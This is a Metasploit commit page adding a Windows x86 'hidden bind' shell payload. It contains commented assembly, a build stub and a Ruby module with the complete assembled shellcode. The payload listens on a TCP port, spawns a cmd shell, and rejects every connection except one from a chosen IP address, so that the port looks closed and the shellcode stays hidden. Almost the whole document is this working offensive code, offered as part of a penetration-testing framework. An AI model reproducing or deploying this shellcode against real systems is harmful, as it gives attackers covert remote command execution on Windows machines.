Skip to content

Commit 25ed68a

Browse files
committed
Land rapid7#3017, Windows x86 Shell Hidden Bind
A bind shellcode that responds as 'closed' unless the client matches the AHOST ip.
2 parents 0990037 + 5881f94 commit 25ed68a

File tree

3 files changed

+190
-0
lines changed

3 files changed

+190
-0
lines changed
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
;-----------------------------------------------------------------------------;
2+
; Original Shellcode: Stephen Fewer ([email protected])
3+
; Modified version to add Hidden ACL support: Borja Merino ([email protected])
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (February 2014)
6+
;-----------------------------------------------------------------------------;
7+
[BITS 32]
8+
9+
; Input: EBP must be the address of 'api_call'.
10+
; Output: EDI will be the newly connected clients socket
11+
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
12+
13+
bind_tcp:
14+
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
15+
push 0x5F327377 ; ...
16+
push esp ; Push a pointer to the "ws2_32" string on the stack.
17+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
18+
call ebp ; LoadLibraryA( "ws2_32" )
19+
20+
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
21+
sub esp, eax ; alloc some space for the WSAData structure
22+
push esp ; push a pointer to this stuct
23+
push eax ; push the wVersionRequested parameter
24+
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
25+
call ebp ; WSAStartup( 0x0190, &WSAData );
26+
27+
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
28+
push eax ; push null for reserved parameter
29+
push eax ; we do not specify a WSAPROTOCOL_INFO structure
30+
push eax ; we do not specify a protocol
31+
inc eax ;
32+
push eax ; push SOCK_STREAM
33+
inc eax ;
34+
push eax ; push AF_INET
35+
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
36+
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
37+
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
38+
39+
xor ebx, ebx ; Clear EBX
40+
push ebx ; bind to 0.0.0.0
41+
push 0x5C110002 ; family AF_INET and port 4444
42+
mov esi, esp ; save a pointer to sockaddr_in struct
43+
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
44+
push esi ; pointer to the sockaddr_in struct
45+
push edi ; socket
46+
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
47+
call ebp ; bind( s, &sockaddr_in, 16 );
48+
49+
; Hidden ACL Support ----------
50+
51+
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
52+
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
53+
push 0x3002 ; level at which the option is defined: SOL_SOCKET
54+
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
55+
push edi ; socket descriptor
56+
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
57+
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
58+
59+
push ebx ; backlog
60+
push edi ; socket
61+
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
62+
call ebp ; listen( s, 0 );
63+
64+
condition:
65+
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
66+
call wsaaccept ; push the start of the condition function on the stack
67+
mov eax, DWORD [esp+4] ;
68+
mov eax, DWORD [eax+4] ;
69+
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
70+
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
71+
jz return ; if equal returns CF_ACCEPT
72+
xor eax, eax ; If not equal, the condition function returns CF_REJECT
73+
inc eax
74+
return:
75+
retn 0x20 ; some stack alignment needed to return to mswsock
76+
77+
wsaaccept:
78+
push ebx ; length of the sockaddr = nul
79+
push ebx ; struct sockaddr = nul
80+
push edi ; socket descriptor
81+
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
82+
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
83+
inc eax
84+
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
85+
dec eax
86+
87+
push edi ; push the listening socket to close
88+
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
89+
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
90+
call ebp ; closesocket( s );
91+
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Version: 1.0 (28 July 2009)
5+
; Size: 341 bytes
6+
; Build: >build.py single_shell_bind_tcp
7+
;-----------------------------------------------------------------------------;
8+
[BITS 32]
9+
[ORG 0]
10+
11+
cld ; Clear the direction flag.
12+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
13+
%include "./src/block/block_api.asm"
14+
start: ;
15+
pop ebp ; Pop off the address of 'api_call' for calling later.
16+
%include "./src/block/block_hidden_bind_tcp.asm"
17+
; By here we will have performed the bind_tcp connection and EDI will be out socket.
18+
%include "./src/block/block_shell.asm"
19+
; Finish up with the EXITFUNK.
20+
%include "./src/block/block_exitfunk.asm"
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/bind_tcp'
8+
require 'msf/base/sessions/command_shell'
9+
require 'msf/base/sessions/command_shell_options'
10+
11+
module Metasploit3
12+
13+
include Msf::Payload::Windows
14+
include Msf::Payload::Single
15+
include Msf::Sessions::CommandShellOptions
16+
17+
def initialize(info = {})
18+
super(merge_info(info,
19+
'Name' => 'Windows Command Shell, Hidden Bind TCP Inline',
20+
'Description' => 'Listen for a connection from certain IP and spawn a command shell.
21+
The shellcode will reply with a RST packet if the connections is not
22+
comming from the IP defined in AHOST. This way the port will appear
23+
as "closed" helping us to hide the shellcode.',
24+
'Author' =>
25+
[
26+
'vlad902', # original payload module (single_shell_bind_tcp)
27+
'sd', # original payload module (single_shell_bind_tcp)
28+
'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'],
32+
'Platform' => 'win',
33+
'Arch' => ARCH_X86,
34+
'Handler' => Msf::Handler::BindTcp,
35+
'Session' => Msf::Sessions::CommandShell,
36+
'Payload' =>
37+
{
38+
'Offsets' =>
39+
{
40+
'LPORT' => [ 200, 'n' ],
41+
'AHOST' => [ 262, 'ADDR' ],
42+
'EXITFUNC' => [ 363, 'V' ],
43+
},
44+
'Payload' =>
45+
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" +
46+
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" +
47+
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" +
48+
"\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01" +
49+
"\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" +
50+
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" +
51+
"\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
52+
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" +
53+
"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" +
54+
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07" +
55+
"\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" +
56+
"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff" +
57+
"\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57" +
58+
"\x68\xc2\xdb\x37\x67\xff\xd5\x6a\x01\x54\x68\x02\x30\x00\x00\x68" +
59+
"\xff\xff\x00\x00\x57\x68\xf1\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7" +
60+
"\xe9\x38\xff\xff\xd5\x53\xe8\x17\x00\x00\x00\x8b\x44\x24\x04\x8b" +
61+
"\x40\x04\x8b\x40\x04\x2d\xc0\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2" +
62+
"\x20\x00\x53\x53\x57\x68\x94\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48" +
63+
"\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
64+
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" +
65+
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56" +
66+
"\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" +
67+
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68" +
68+
"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
69+
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
70+
}
71+
))
72+
73+
register_options([
74+
OptAddress.new('AHOST', [true, "IP address allowed", nil])
75+
])
76+
end
77+
78+
end
79+

0 commit comments

Comments
 (0)